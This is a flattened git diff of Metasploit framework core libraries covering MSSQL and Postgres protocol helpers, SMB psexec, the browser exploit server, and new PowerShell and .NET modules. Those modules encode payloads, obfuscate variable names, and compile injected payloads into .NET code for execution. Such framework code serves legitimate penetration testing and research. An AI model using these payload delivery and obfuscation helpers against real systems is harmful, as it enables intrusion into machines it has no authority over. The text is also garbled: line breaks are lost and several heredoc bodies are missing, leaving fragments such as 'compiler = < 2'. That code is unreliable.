data.slice!(0, col[:value_length] * 2).gsub("\x00", '') when 36 @@ -760,33 +722,33 @@ module Exploit::Remote::MSSQL when 38 col[:id] = :int - col[:int_size] = data.slice!(0,1).unpack('C')[0] + col[:int_size] = data.slice!(0, 1).unpack('C')[0] when 127 col[:id] = :bigint when 165 col[:id] = :hex - col[:max_size] = data.slice!(0,2).unpack('v')[0] + col[:max_size] = data.slice!(0, 2).unpack('v')[0] when 173 col[:id] = :hex # binary(2) - col[:max_size] = data.slice!(0,2).unpack('v')[0] + col[:max_size] = data.slice!(0, 2).unpack('v')[0] - when 231,175,167,239 + when 231, 175, 167, 239 col[:id] = :string - col[:max_size] = data.slice!(0,2).unpack('v')[0] - col[:codepage] = data.slice!(0,2).unpack('v')[0] - col[:cflags] = data.slice!(0,2).unpack('v')[0] - col[:charset_id] = data.slice!(0,1).unpack('C')[0] + col[:max_size] = data.slice!(0, 2).unpack('v')[0] + col[:codepage] = data.slice!(0, 2).unpack('v')[0] + col[:cflags] = data.slice!(0, 2).unpack('v')[0] + col[:charset_id] = data.slice!(0, 1).unpack('C')[0] else col[:id] = :unknown end - col[:msg_len] = data.slice!(0,1).unpack('C')[0] + col[:msg_len] = data.slice!(0, 1).unpack('C')[0] - if(col[:msg_len] and col[:msg_len] > 0) + if col[:msg_len] && col[:msg_len] > 0 col[:name] = data.slice!(0, col[:msg_len] * 2).gsub("\x00", '') end info[:colnames] << (col[:name] || 'NULL') @@ -800,7 +762,7 @@ module Exploit::Remote::MSSQL info[:errors] = [] return if not data until data.empty? - token = data.slice!(0,1).unpack('C')[0] + token = data.slice!(0, 1).unpack('C')[0] case token when 0x81 mssql_parse_tds_reply(data, info) @@ -844,28 +806,28 @@ module Exploit::Remote::MSSQL case col[:id] when :hex str = "" - len = data.slice!(0,2).unpack('v')[0] - if(len > 0 and len < 65535) - str << data.slice!(0,len) + len = data.slice!(0, 2).unpack('v')[0] + if len > 0 && len < 65535 + str << data.slice!(0, len) end row << str.unpack("H*")[0] when :string str = "" - len = data.slice!(0,2).unpack('v')[0] - if(len > 0 and len < 65535) - str << data.slice!(0,len) + len = data.slice!(0, 2).unpack('v')[0] + if len > 0 && len < 65535 + str << data.slice!(0, len) end row << str.gsub("\x00", '') when :datetime - row << data.slice!(0,8).unpack("H*")[0] + row << data.slice!(0, 8).unpack("H*")[0] when :rawint - row << data.slice!(0,4).unpack('V')[0] + row << data.slice!(0, 4).unpack('V')[0] when :bigint - row << data.slice!(0,8).unpack("H*")[0] + row << data.slice!(0, 8).unpack("H*")[0] when :smallint row << data.slice!(0, 2).unpack("v")[0] @@ -878,16 +840,16 @@ module Exploit::Remote::MSSQL when :image str = '' - len = data.slice!(0,1).unpack('C')[0] - str = data.slice!(0,len) if (len and len > 0) + len = data.slice!(0, 1).unpack('C')[0] + str = data.slice!(0, len) if len && len > 0 row << str.unpack("H*")[0] when :int len = data.slice!(0, 1).unpack("C")[0] - raw = data.slice!(0, len) if (len and len > 0) + raw = data.slice!(0, len) if len && len > 0 case len - when 0,255 + when 0, 255 row << '' when 1 row << raw.unpack("C")[0] @@ -900,7 +862,7 @@ module Exploit::Remote::MSSQL when 8 row << raw.unpack('VV')[0] # XXX: missing high dword else - info[:errors] << "invalid integer size: #{len} #{data[0,16].unpack("H*")[0]}" + info[:errors] << "invalid integer size: #{len} #{data[0, 16].unpack("H*")[0]}" end else info[:errors] << "unknown column type: #{col.inspect}" @@ -915,7 +877,7 @@ module Exploit::Remote::MSSQL # Parse a "ret" TDS token # def mssql_parse_ret(data, info) - ret = data.slice!(0,4).unpack('N')[0] + ret = data.slice!(0, 4).unpack('N')[0] info[:ret] = ret info end @@ -924,7 +886,7 @@ module Exploit::Remote::MSSQL # Parse a "done" TDS token # def mssql_parse_done(data, info) - status,cmd,rows = data.slice!(0,8).unpack('vvV') + status, cmd, rows = data.slice!(0, 8).unpack('vvV') info[:done] = { :status => status, :cmd => cmd, :rows => rows } info end @@ -933,11 +895,11 @@ module Exploit::Remote::MSSQL # Parse an "error" TDS token # def mssql_parse_error(data, info) - len = data.slice!(0,2).unpack('v')[0] - buff = data.slice!(0,len) + len = data.slice!(0, 2).unpack('v')[0] + buff = data.slice!(0, len) - errno,state,sev,elen = buff.slice!(0,8).unpack('VCCv') - emsg = buff.slice!(0,elen * 2) + errno, state, sev, elen = buff.slice!(0, 8).unpack('VCCv') + emsg = buff.slice!(0, elen * 2) emsg.gsub!("\x00", '') info[:errors] << "SQL Server Error ##{errno} (State:#{state} Severity:#{sev}): #{emsg}" @@ -948,17 +910,17 @@ module Exploit::Remote::MSSQL # Parse an "environment change" TDS token # def mssql_parse_env(data, info) - len = data.slice!(0,2).unpack('v')[0] - buff = data.slice!(0,len) - type = buff.slice!(0,1).unpack('C')[0] + len = data.slice!(0, 2).unpack('v')[0] + buff = data.slice!(0, len) + type = buff.slice!(0, 1).unpack('C')[0] nval = '' - nlen = buff.slice!(0,1).unpack('C')[0] || 0 - nval = buff.slice!(0,nlen*2).gsub("\x00", '') if nlen > 0 + nlen = buff.slice!(0, 1).unpack('C')[0] || 0 + nval = buff.slice!(0, nlen * 2).gsub("\x00", '') if nlen > 0 oval = '' - olen = buff.slice!(0,1).unpack('C')[0] || 0 - oval = buff.slice!(0,olen*2).gsub("\x00", '') if olen > 0 + olen = buff.slice!(0, 1).unpack('C')[0] || 0 + oval = buff.slice!(0, olen * 2).gsub("\x00", '') if olen > 0 info[:envs] ||= [] info[:envs] << { :type => type, :old => oval, :new => nval } @@ -969,14 +931,14 @@ module Exploit::Remote::MSSQL # Parse an "information" TDS token # def mssql_parse_info(data, info) - len = data.slice!(0,2).unpack('v')[0] - buff = data.slice!(0,len) + len = data.slice!(0, 2).unpack('v')[0] + buff = data.slice!(0, len) - errno,state,sev,elen = buff.slice!(0,8).unpack('VCCv') - emsg = buff.slice!(0,elen * 2) + errno, state, sev, elen = buff.slice!(0, 8).unpack('VCCv') + emsg = buff.slice!(0, elen * 2) emsg.gsub!("\x00", '') - info[:infos]||= [] + info[:infos] ||= [] info[:infos] << "SQL Server Info ##{errno} (State:#{state} Severity:#{sev}): #{emsg}" info end @@ -985,8 +947,8 @@ module Exploit::Remote::MSSQL # Parse a "login ack" TDS token # def mssql_parse_login_ack(data, info) - len = data.slice!(0,2).unpack('v')[0] - buff = data.slice!(0,len) + len = data.slice!(0, 2).unpack('v')[0] + _buff = data.slice!(0, len) info[:login_ack] = true end end diff --git a/lib/msf/core/exploit/ntlm.rb b/lib/msf/core/exploit/ntlm.rb index ff9f573a18..7cdb92beb4 100644 --- a/lib/msf/core/exploit/ntlm.rb +++ b/lib/msf/core/exploit/ntlm.rb @@ -5,6 +5,12 @@ require 'rex/proto/ntlm/base' require 'rex/proto/ntlm/message' require 'rex/proto/ntlm/utils' +NTLM_CONST ||= ::Rex::Proto::NTLM::Constants +NTLM_CRYPT ||= ::Rex::Proto::NTLM::Crypt +NTLM_UTILS ||= ::Rex::Proto::NTLM::Utils +NTLM_BASE ||= ::Rex::Proto::NTLM::Base +NTLM_MESSAGE ||= ::Rex::Proto::NTLM::Message + module Msf ### @@ -17,12 +23,6 @@ module Msf module Exploit::NTLM - NTLM_CONST = ::Rex::Proto::NTLM::Constants - NTLM_CRYPT = ::Rex::Proto::NTLM::Crypt - NTLM_UTILS = ::Rex::Proto::NTLM::Utils - NTLM_BASE = ::Rex::Proto::NTLM::Base - NTLM_MESSAGE = ::Rex::Proto::NTLM::Message - module Client def initialize(info = {}) super diff --git a/lib/msf/core/exploit/postgres.rb b/lib/msf/core/exploit/postgres.rb index 09f3f9487e..aa4856fe69 100644 --- a/lib/msf/core/exploit/postgres.rb +++ b/lib/msf/core/exploit/postgres.rb @@ -32,7 +32,7 @@ module Exploit::Remote::Postgres Opt::RPORT(5432), OptString.new('DATABASE', [ true, 'The database to authenticate against', 'template1']), OptString.new('USERNAME', [ true, 'The username to authenticate as', 'postgres']), - OptString.new('PASSWORD', [ false, 'The password for the specified username. Leave blank for a random password.', '']), + OptString.new('PASSWORD', [ false, 'The password for the specified username. Leave blank for a random password.', 'postgres']), OptBool.new('VERBOSE', [false, 'Enable verbose output', false]), OptString.new('SQL', [ false, 'The SQL query to execute', 'select version()']), OptBool.new('RETURN_ROWSET', [false, "Set to true to see query result sets", true]) @@ -167,7 +167,13 @@ module Exploit::Remote::Postgres when "C42883" sql_error_msg += " Function does not exist: '#{sql}'" else # Let the user figure out the rest. - sql_error_msg += " SQL statement '#{sql}' returns #{e.inspect}" + if e == Timeout::Error + sql_error_msg = 'Execution expired' + elsif sql_error_msg.nil? + sql_error_msg = e.inspect + else + sql_error_msg += " SQL statement '#{sql}' returns #{e.inspect}" + end end return {:sql_error => sql_error_msg} end @@ -178,7 +184,7 @@ module Exploit::Remote::Postgres # If resp is not actually a Connection::Result object, then return # :error (but not an actual Exception, that's up to the caller. - # Otherwise, create a rowset using Rex::Ui::Text::Table (if there's + # Otherwise, create a rowset using Rex::Text::Table (if there's # more than 0 rows) and return :complete. def postgres_print_reply(resp=nil,sql=nil) ip = datastore['RHOST'] @@ -188,7 +194,7 @@ module Exploit::Remote::Postgres if resp.rows and resp.fields print_status "#{ip}:#{port} Rows Returned: #{resp.rows.size}" if verbose if resp.rows.size > 0 - tbl = Rex::Ui::Text::Table.new( + tbl = Rex::Text::Table.new( 'Indent' => 4, 'Header' => "Query Text: '#{sql}'", 'Columns' => resp.fields.map {|x| x.name} @@ -292,6 +298,10 @@ module Exploit::Remote::Postgres when "Fauth.c:L302:Rauth_failed" ; return {:preauth => "9.1.6"} # Bad password, good database when "Fpostinit.c:L718:RInitPostgres" ; return {:preauth => "9.1.6"} # Good creds, non-existent but allowed database when "Fauth.c:L483:RClientAuthentication" ; return {:preauth => "9.1.6"} # Bad user + when "Fmiscinit.c:L362:RInitializeSessionUserId" ; return {:preauth => "9.4.1-5"} # Bad user + when "Fauth.c:L285:Rauth_failed" ; return {:preauth => "9.4.1-5"} # Bad creds, good database + when "Fpostinit.c:L794:RInitPostgres" ; return {:preauth => "9.4.1-5"} # Good creds, non-existent but allowed database + when "Fauth.c:L481:RClientAuthentication" ; return {:preauth => "9.4.1-5"} # bad user or host # Windows diff --git a/lib/msf/core/exploit/powershell.rb b/lib/msf/core/exploit/powershell.rb index 94189d5c6f..4ef27b6924 100644 --- a/lib/msf/core/exploit/powershell.rb +++ b/lib/msf/core/exploit/powershell.rb @@ -13,6 +13,11 @@ module Exploit::Powershell OptBool.new('Powershell::strip_whitespace', [true, 'Strip whitespace', false]), OptBool.new('Powershell::sub_vars', [true, 'Substitute variable names', false]), OptBool.new('Powershell::sub_funcs', [true, 'Substitute function names', false]), + OptBool.new('Powershell::exec_in_place', [true, 'Produce PSH without executable wrapper', false]), + OptBool.new('Powershell::encode_final_payload', [true, 'Encode final payload for -EncodedCommand', false]), + OptBool.new('Powershell::encode_inner_payload', [true, 'Encode inner payload for -EncodedCommand', false]), + OptBool.new('Powershell::use_single_quotes', [true, 'Wraps the -Command argument in single quotes', false]), + OptBool.new('Powershell::no_equals', [true, 'Pad base64 until no "=" remains', false]), OptEnum.new('Powershell::method', [true, 'Payload delivery method', 'reflection', %w(net reflection old msil)]), ], self.class) end @@ -187,16 +192,17 @@ module Exploit::Powershell # # @return [String] Powershell command line with payload def cmd_psh_payload(pay, payload_arch, opts = {}) - opts[:persist] ||= datastore['Powershell::persist'] - opts[:prepend_sleep] ||= datastore['Powershell::prepend_sleep'] - opts[:method] ||= datastore['Powershell::method'] + options.validate(datastore) + + [ :persist, :prepend_sleep, :exec_in_place, :encode_final_payload, + :encode_inner_payload, :use_single_quotes, :no_equals, :method ].map { |opt| + opts[opt] ||= datastore["Powershell::#{opt}"] + } unless opts.key? :shorten opts[:shorten] = (datastore['Powershell::method'] != 'old') end - template_path = File.join(Msf::Config.data_directory, - "templates", - "scripts") + template_path = Rex::Powershell::Templates::TEMPLATE_DIR command = Rex::Powershell::Command.cmd_psh_payload(pay, payload_arch, diff --git a/lib/msf/core/exploit/powershell/dot_net.rb b/lib/msf/core/exploit/powershell/dot_net.rb new file mode 100644 index 0000000000..95d3042001 --- /dev/null +++ b/lib/msf/core/exploit/powershell/dot_net.rb @@ -0,0 +1,184 @@ +# -*- coding: binary -*- + +module Msf + module Exploit::Powershell + module DotNet + + def initialize(info = {}) + super + register_advanced_options( + [ + OptString.new('CERT_PATH', [false, 'Path on compiler host to .pfx fomatted certificate for signing' ]), + + ], self.class) + end + + # + # Wrapper method for generating powershell code to compile .NET code + # + # @param opts [Hash] Data structure containing compiler options + # + # @return [String] Powershell code to execute compiler and necessary environment + def dot_net_compiler(opts = {}) + #TODO: + # allow compilation entirely in memory with a b64 encoded product for export without disk access + # Dynamically assign assemblies based on dot_net_code require/includes + # Enumerate assemblies available to session, pull requirements, assign accordingly, pass to PS + + # Critical + begin + dot_net_code = opts[:harness] + if ::File.file?(dot_net_code) + dot_net_code = ::File.read(dot_net_code) + end + # Ensure we're not running ASCII-8bit through powershell + dot_net_code = dot_net_code.force_encoding('ASCII') + rescue => e + raise "Harness is invalid\n\n#{e}" + end + + # Optional + provider = opts[:provider] || 'Microsoft.CSharp.CSharpCodeProvider' # This should also work with 'Microsoft.VisualBasic.VBCodeProvider' + target = opts[:target] # Unless building assemblies in memory only + certificate = opts[:cert] # PFX certificate path + payload = opts[:payload] + + # Configure .NET assemblies required to compile source + assemblies = ["mscorlib.dll", "System.Xml.dll", "System.Data.dll"] + if opts[:assemblies] + opts[:assemblies] = opts[:assemblies].split(',').map {|a| a.gsub(/\s+/,'')} unless opts[:assemblies].is_a?(Array) + assemblies += opts[:assemblies] + end + assemblies = assemblies.uniq.compact + + # Compiler options + compiler_opts = opts[:com_opts] || '/platform:x86 /optimize' + + # Substitute payload tag with actual payload + if payload + dot_net_code = dot_net_code.gsub('MSF_PAYLOAD_SPACE', payload) + end + + # Determine if binary is to be written out + var_gen_exe = target ? '$true' : '$false' + + # Obfu + var_func = Rex::Text.rand_text_alpha(rand(4)+4) + var_code = Rex::Text.rand_text_alpha(rand(4)+4) + var_refs = Rex::Text.rand_text_alpha(rand(4)+4) + var_provider = Rex::Text.rand_text_alpha(rand(4)+4) + var_params = Rex::Text.rand_text_alpha(rand(4)+4) + var_output = Rex::Text.rand_text_alpha(rand(4)+4) + var_cert = Rex::Text.rand_text_alpha(rand(4)+4) + + # The actual compiler source + compiler = < 2 # PS before 3.0 natively uses NET 2 + return elevate_net_clr(compiler, run_32, opts[:net_clr]) + else + return compiler + end + + end + + # + # Wrapper to execute in alternate .NET environment + # + # @param ps_code [String] Powershell code to wrap in environment + # @param run_32 [TrueClass,FalseClass] Run in WOW64 environment + # @param net_ver [String] .NET CLR to wrap in + # + # @return [String] Executable environment wrapper + def elevate_net_clr(ps_code, run_32 = false, net_ver = '4.0') + var_func = Rex::Text.rand_text_alpha(rand(8)+8) + var_conf_path = Rex::Text.rand_text_alpha(rand(8)+8) + var_env_name = Rex::Text.rand_text_alpha(rand(8)+8) + var_env_old = Rex::Text.rand_text_alpha(rand(8)+8) + var_run32 = Rex::Text.rand_text_alpha(rand(8)+8) + + exec_wrapper = < + + + + + + +"@ | Set-Content -Path $#{var_conf_path}/powershell.exe.activation_config -Encoding UTF8 +$#{var_env_name} = 'COMPLUS_ApplicationMigrationRuntimeActivationConfigPath' +$#{var_env_old} = [Environment]::GetEnvironmentVariable($#{var_env_name}) +[Environment]::SetEnvironmentVariable($#{var_env_name}, $#{var_conf_path}) +try { if ($#{var_run32} -and [IntPtr]::size -eq 8 ) { +&"$env:windir\\syswow64\\windowspowershell\\v1.0\\powershell.exe" -inputformat text -command $ScriptBlock -noninteractive +} else { +&"$env:windir\\system32\\windowspowershell\\v1.0\\powershell.exe" -inputformat text -command $ScriptBlock -noninteractive +}} finally { +[Environment]::SetEnvironmentVariable($#{var_env_name}, $#{var_env_old}) +$#{var_conf_path} | Remove-Item -Recurse +} +} +#{var_func} -ScriptBlock { +#{ps_code} +} + + +EOS + + end + + end + end +end diff --git a/lib/msf/core/exploit/remote/browser_exploit_server.rb b/lib/msf/core/exploit/remote/browser_exploit_server.rb index 1f6da0ecf5..a99147dd1c 100644 --- a/lib/msf/core/exploit/remote/browser_exploit_server.rb +++ b/lib/msf/core/exploit/remote/browser_exploit_server.rb @@ -73,10 +73,10 @@ module Msf 'vuln_test', # Example: "if(window.MyComponentIsInstalled)return true;", # :activex is a special case. # When you set this requirement in your module, this is how it should be: - # [{:clsid=>'String', :method=>'String'}] + # [:clsid=>'String', :method=>'String'] # Where each Hash is a test case # But when BES receives this information, the JavaScript will return this format: - # "{CLSID}=>Method=>Boolean;" + # "CLSID=>Method=>Boolean;" # Also see: #has_bad_activex? 'activex' ]) @@ -216,7 +216,7 @@ module Msf # Returns true if there's a bad ActiveX, otherwise false. # @param ax [String] The raw activex the JavaScript detection will return in this format: - # "{CLSID}=>Method=>Boolean;" + # "CLSID=>Method=>Boolean;" # @return [Boolean] True if there's a bad ActiveX, otherwise false def has_bad_activex?(ax) ax.to_s.split(';').each do |a| @@ -271,12 +271,12 @@ module Msf if tag.blank? # Browser probably doesn't allow cookies, plan B :-/ - vprint_status("No cookie received, resorting to headers hash.") + vprint_status("No cookie received for #{cli.peerhost}, resorting to headers hash.") ip = cli.peerhost os = request.headers['User-Agent'] tag = Rex::Text.md5("#{ip}#{os}") else - vprint_status("Received cookie '#{tag}'.") + vprint_status("Received cookie '#{tag}' from #{cli.peerhost}") end tag @@ -303,7 +303,7 @@ module Msf when :script # Gathers target data from a POST request parsed_body = CGI::parse(Rex::Text.decode_base64(request.body) || '') - vprint_status("Received sniffed browser data over POST:") + vprint_status("Received sniffed browser data over POST from #{cli.peerhost}") vprint_line("#{parsed_body}.") parsed_body.each { |k, v| profile[k.to_sym] = (v.first == 'null' ? nil : v.first) } found_ua_name = parsed_body['ua_name'] @@ -521,7 +521,7 @@ module Msf if datastore['CookieExpiration'].present? expires_date = (DateTime.now + 365*datastore['CookieExpiration'].to_i) expires_str = expires_date.to_time.strftime("%a, %d %b %Y 12:00:00 GMT") - cookie << " Expires=#{expires};" + cookie << " Expires=#{expires_str};" end cookie end @@ -549,15 +549,15 @@ module Msf return end - print_status("Gathering target information.") + print_status("Gathering target information for #{cli.peerhost}") tag = Rex::Text.rand_text_alpha(rand(20) + 5) ua = request.headers['User-Agent'] || '' - print_status("Sending HTML response.") + print_status("Sending HTML response to #{cli.peerhost}") html = get_detection_html(ua) send_response(cli, html, {'Set-Cookie' => cookie_header(tag)}) when /#{@flash_swf}/ - vprint_status("Sending SWF used for Flash detection") + vprint_status("Sending SWF used for Flash detection to #{cli.peerhost}") swf = load_swf_detection send_response(cli, swf, {'Content-Type'=>'application/x-shockwave-flash', 'Cache-Control' => 'no-cache, no-store', 'Pragma' => 'no-cache'}) @@ -565,7 +565,7 @@ module Msf # # The detection code will hit this if Javascript is enabled # - vprint_status "Info receiver page called." + vprint_status "Info receiver page called from #{cli.peerhost}" process_browser_info(:script, cli, request) send_response(cli, '', {'Set-Cookie' => cookie_header(tag)}) @@ -583,13 +583,13 @@ module Msf # on_request_exploit() to get the target information # tag = retrieve_tag(cli, request) - vprint_status("Serving exploit to user with tag #{tag}") + vprint_status("Serving exploit to user #{cli.peerhost} with tag #{tag}") profile = browser_profile[tag] if profile.nil? - print_status("Browsing directly to the exploit URL is forbidden.") + print_status("Browser visiting directly to the exploit URL is forbidden.") send_not_found(cli) - elsif profile[:tried] and datastore['Retries'] == false - print_status("Target with tag \"#{tag}\" wants to retry the module, not allowed.") + elsif profile[:tried] && !datastore['Retries'] + print_status("Target #{cli.peerhost} with tag \"#{tag}\" wants to retry the module, not allowed.") send_not_found(cli) else profile[:tried] = true @@ -618,7 +618,7 @@ module Msf end else - print_error("Target has requested an unknown path: #{request.uri}") + print_error("Target #{cli.peerhost} has requested an unknown path: #{request.uri}") send_not_found(cli) end end diff --git a/lib/msf/core/exploit/smb/client.rb b/lib/msf/core/exploit/smb/client.rb index b104b9e48a..df006885f7 100644 --- a/lib/msf/core/exploit/smb/client.rb +++ b/lib/msf/core/exploit/smb/client.rb @@ -64,7 +64,7 @@ module Msf register_options( [ Opt::RHOST, - OptInt.new('RPORT', [ true, 'Set the SMB service port', 445]) + OptPort.new('RPORT', [ true, 'The SMB service port', 445]) ], Msf::Exploit::Remote::SMB::Client) register_autofilter_ports([ 139, 445]) diff --git a/lib/msf/core/exploit/smb/client/psexec.rb b/lib/msf/core/exploit/smb/client/psexec.rb index cb1acf684b..e03bcfb237 100644 --- a/lib/msf/core/exploit/smb/client/psexec.rb +++ b/lib/msf/core/exploit/smb/client/psexec.rb @@ -1,5 +1,9 @@ # -*- coding: binary -*- require 'rex/proto/dcerpc/svcctl' +require 'windows_error' +require 'windows_error/win32' + +include WindowsError::Win32 module Msf @@ -13,7 +17,7 @@ module Msf module Exploit::Remote::SMB::Client::Psexec - include Rex::Constants::Windows + include Msf::Exploit::Windows_Constants include Msf::Exploit::Remote::DCERPC include Msf::Exploit::Remote::SMB::Client::Authenticated @@ -164,12 +168,12 @@ module Exploit::Remote::SMB::Client::Psexec if service_exists print_warning("Not removing service as it already existed...") elsif datastore['SERVICE_PERSIST'] - print_warning("Not removing service for persistance...") + print_warning("Not removing service for persistence...") else vprint_status("Removing the service...") svc_status = svc_client.deleteservice(svc_handle) if svc_status == ERROR_SUCCESS - vprint_good("Successfully removed the sevice") + vprint_good("Successfully removed the service") else print_error("Unable to remove the service, ERROR_CODE: #{svc_status}") end diff --git a/lib/msf/core/exploit/smb/server/share.rb b/lib/msf/core/exploit/smb/server/share.rb index 1ddbdd4172..df5f43aca6 100644 --- a/lib/msf/core/exploit/smb/server/share.rb +++ b/lib/msf/core/exploit/smb/server/share.rb @@ -17,7 +17,7 @@ module Msf # @example Use it from an Auxiliary module # require 'msf/core' # - # class Metasploit3 < Msf::Auxiliary + # class MetasploitModule < Msf::Auxiliary # # include Msf::Exploit::Remote::SMB::Server::Share # @@ -59,7 +59,7 @@ module Msf # @example Use it from an Exploit module # require 'msf/core' # - # class Metasploit3 < Msf::Exploit::Remote + # class MetasploitModule < Msf::Exploit::Remote # Rank = ExcellentRanking # # include Msf::Exploit::EXE diff --git a/lib/msf/core/exploit/smtp_deliver.rb b/lib/msf/core/exploit/smtp_deliver.rb index 9ff8693723..b3f37e2c08 100644 --- a/lib/msf/core/exploit/smtp_deliver.rb +++ b/lib/msf/core/exploit/smtp_deliver.rb @@ -163,8 +163,8 @@ module Exploit::Remote::SMTPDeliver print_error("Server refused our mail") else full_msg = '' - full_msg << date - full_msg << subject unless subject.nil? + full_msg << date unless data =~ /date: /i + full_msg << subject unless subject.nil? || data =~ /subject: /i full_msg << data send_status = raw_send_recv("#{full_msg}\r\n.\r\n", nsock) end @@ -228,12 +228,9 @@ protected end def generate_ssl_context - ctx = OpenSSL::SSL::SSLContext.new - ctx.key = OpenSSL::PKey::RSA.new(1024){ } - - ctx.session_id_context = Rex::Text.rand_text(16) - - return ctx + ctx = OpenSSL::SSL::SSLContext.new(:SSLv23) + ctx.ciphers = "ALL:!ADH:!EXPORT:!SSLv2:!SSLv3:+HIGH:+MEDIUM" + ctx end end diff --git a/lib/msf/core/exploit/ssh.rb b/lib/msf/core/exploit/ssh.rb new file mode 100644 index 0000000000..310d84c9a0 --- /dev/null +++ b/lib/msf/core/exploit/ssh.rb @@ -0,0 +1,8 @@ +module Msf + module Exploit::Remote::SSH + require 'rex/socket/ssh_factory' + def ssh_socket_factory + Rex::Socket::SSHFactory.new(framework, self, datastore['Proxies']) + end + end +end diff --git a/lib/msf/core/exploit/sunrpc.rb b/lib/msf/core/exploit/sunrpc.rb index f8c9055f30..265bea4ac5 100644 --- a/lib/msf/core/exploit/sunrpc.rb +++ b/lib/msf/core/exploit/sunrpc.rb @@ -31,7 +31,7 @@ module Exploit::Remote::SunRPC register_evasion_options( [ - OptBool.new('ONCRPC::tcp_request_fragmentation', [false, 'Enable fragmentation of TCP ONC/RPC requests', 'false']), + OptBool.new('ONCRPC::tcp_request_fragmentation', [false, 'Enable fragmentation of TCP ONC/RPC requests', false]), ], Msf::Exploit::Remote::SunRPC ) @@ -65,7 +65,7 @@ module Exploit::Remote::SunRPC } ) - if datastore['ONCRPC::tcp_request_fragmentation'] == true + if datastore['ONCRPC::tcp_request_fragmentation'] self.rpcobj.should_fragment = 1 end diff --git a/lib/msf/core/exploit/tcp.rb b/lib/msf/core/exploit/tcp.rb index cfbdfe98a9..ec70f4ff4a 100644 --- a/lib/msf/core/exploit/tcp.rb +++ b/lib/msf/core/exploit/tcp.rb @@ -64,7 +64,7 @@ module Exploit::Remote::Tcp register_advanced_options( [ OptBool.new('SSL', [ false, 'Negotiate SSL/TLS for outgoing connections', false]), - OptEnum.new('SSLVersion', [ false, 'Specify the version of SSL/TLS to be used (TLS and SSL23 are auto-negotiate)', 'TLS1', ['SSL2', 'SSL3', 'SSL23', 'TLS', 'TLS1', 'TLS1.1', 'TLS1.2']]), + Opt::SSLVersion, OptEnum.new('SSLVerifyMode', [ false, 'SSL verification method', 'PEER', %W{CLIENT_ONCE FAIL_IF_NO_PEER_CERT NONE PEER}]), OptString.new('SSLCipher', [ false, 'String for SSL cipher - "DHE-RSA-AES256-SHA" or "ADH"']), Opt::Proxies, diff --git a/lib/msf/core/exploit/tcp_server.rb b/lib/msf/core/exploit/tcp_server.rb index a86a7a2b25..24eab777fb 100644 --- a/lib/msf/core/exploit/tcp_server.rb +++ b/lib/msf/core/exploit/tcp_server.rb @@ -19,7 +19,6 @@ module Exploit::Remote::TcpServer [ OptBool.new('SSL', [ false, 'Negotiate SSL for incoming connections', false]), # SSLVersion is currently unsupported for TCP servers (only supported by clients at the moment) - # OptEnum.new('SSLVersion', [ false, 'Specify the version of SSL that should be used', 'TLS1', ['SSL2', 'SSL3', 'TLS1']]), OptPath.new('SSLCert', [ false, 'Path to a custom SSL certificate (default is randomly generated)']), OptAddress.new('SRVHOST', [ true, "The local host to listen on. This must be an address on the local machine or 0.0.0.0", '0.0.0.0' ]), OptPort.new('SRVPORT', [ true, "The local port to listen on.", 8080 ]), @@ -29,7 +28,8 @@ module Exploit::Remote::TcpServer register_advanced_options( [ OptString.new('ListenerComm', [ false, 'The specific communication channel to use for this service']), - OptBool.new('SSLCompression', [ false, 'Enable SSL/TLS-level compression', false ]) + OptBool.new('SSLCompression', [ false, 'Enable SSL/TLS-level compression', false ]), + OptString.new('SSLCipher', [ false, 'String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"']) ], Msf::Exploit::Remote::TcpServer) register_evasion_options( @@ -109,6 +109,7 @@ module Exploit::Remote::TcpServer 'LocalPort' => srvport, 'SSL' => ssl, 'SSLCert' => ssl_cert, + 'SSLCipher' => ssl_cipher, 'SSLCompression' => ssl_compression, 'Comm' => comm, 'Context' => @@ -196,6 +197,13 @@ module Exploit::Remote::TcpServer datastore['SSLCert'] end + # + # Returns the SSLCipher option + # + def ssl_cipher + datastore['SSLCipher'] + end + # @return [Bool] enable SSL/TLS-level compression def ssl_compression datastore['SSLCompression'] diff --git a/lib/rex/constants/windows.rb b/lib/msf/core/exploit/windows_constants.rb similarity index 95% rename from lib/rex/constants/windows.rb rename to lib/msf/core/exploit/windows_constants.rb index 6921414a77..54fd328384 100644 --- a/lib/rex/constants/windows.rb +++ b/lib/msf/core/exploit/windows_constants.rb @@ -1,5 +1,5 @@ -module Rex::Constants -module Windows +module Msf +module Exploit::Windows_Constants ## # @@ -10,18 +10,6 @@ module Windows STANDARD_RIGHTS_REQUIRED = 0x000F0000 - ## - # - # Errors - # - ## - - ERROR_SUCCESS = 0x0 - ERROR_FILE_NOT_FOUND = 0x2 - ERROR_ACCESS_DENIED = 0x5 - ERROR_SERVICE_REQUEST_TIMEOUT = 0x41D - ERROR_SERVICE_EXISTS = 0x431 - ## # # SVCCTL Protocol Functions diff --git a/lib/msf/core/exploit/winrm.rb b/lib/msf/core/exploit/winrm.rb index a08ae59be5..a7587c7e3a 100644 --- a/lib/msf/core/exploit/winrm.rb +++ b/lib/msf/core/exploit/winrm.rb @@ -164,7 +164,7 @@ module Exploit::Remote::WinRM rows << row_data end columns.uniq! - response_data = Rex::Ui::Text::Table.new( + response_data = Rex::Text::Table.new( 'Header' => "#{datastore['WQL']} (#{rhost})", 'Indent' => 1, 'Columns' => columns diff --git a/lib/msf/core/framework.rb b/lib/msf/core/framework.rb index c8fd5db9cb..b8e797c8ec 100644 --- a/lib/msf/core/framework.rb +++ b/lib/msf/core/framework.rb @@ -38,14 +38,6 @@ class Framework Revision = "$Revision$" - # Repository information - RepoRevision = ::Msf::Util::SVN.revision - RepoUpdated = ::Msf::Util::SVN.updated - RepoUpdatedDays = ::Msf::Util::SVN.days_since_update - RepoUpdatedDaysNote = ::Msf::Util::SVN.last_updated_friendly - RepoUpdatedDate = ::Msf::Util::SVN.last_updated_date - RepoRoot = ::Msf::Util::SVN.root - # EICAR canary EICARCorrupted = ::Msf::Util::EXE.is_eicar_corrupted? diff --git a/lib/msf/core/handler.rb b/lib/msf/core/handler.rb index eafe12f97f..2ed2842ba8 100644 --- a/lib/msf/core/handler.rb +++ b/lib/msf/core/handler.rb @@ -163,6 +163,14 @@ module Handler return session end + # + # Interrupts a wait_for_session call by notifying with a nil event + # + def interrupt_wait_for_session + return unless session_waiter_event + session_waiter_event.notify(nil) + end + # # Set by the exploit module to configure handler # diff --git a/lib/msf/core/handler/reverse.rb b/lib/msf/core/handler/reverse.rb index c816481b14..0e886a6d5b 100644 --- a/lib/msf/core/handler/reverse.rb +++ b/lib/msf/core/handler/reverse.rb @@ -52,7 +52,7 @@ module Msf # @return [Integer] def bind_port port = datastore['ReverseListenerBindPort'].to_i - 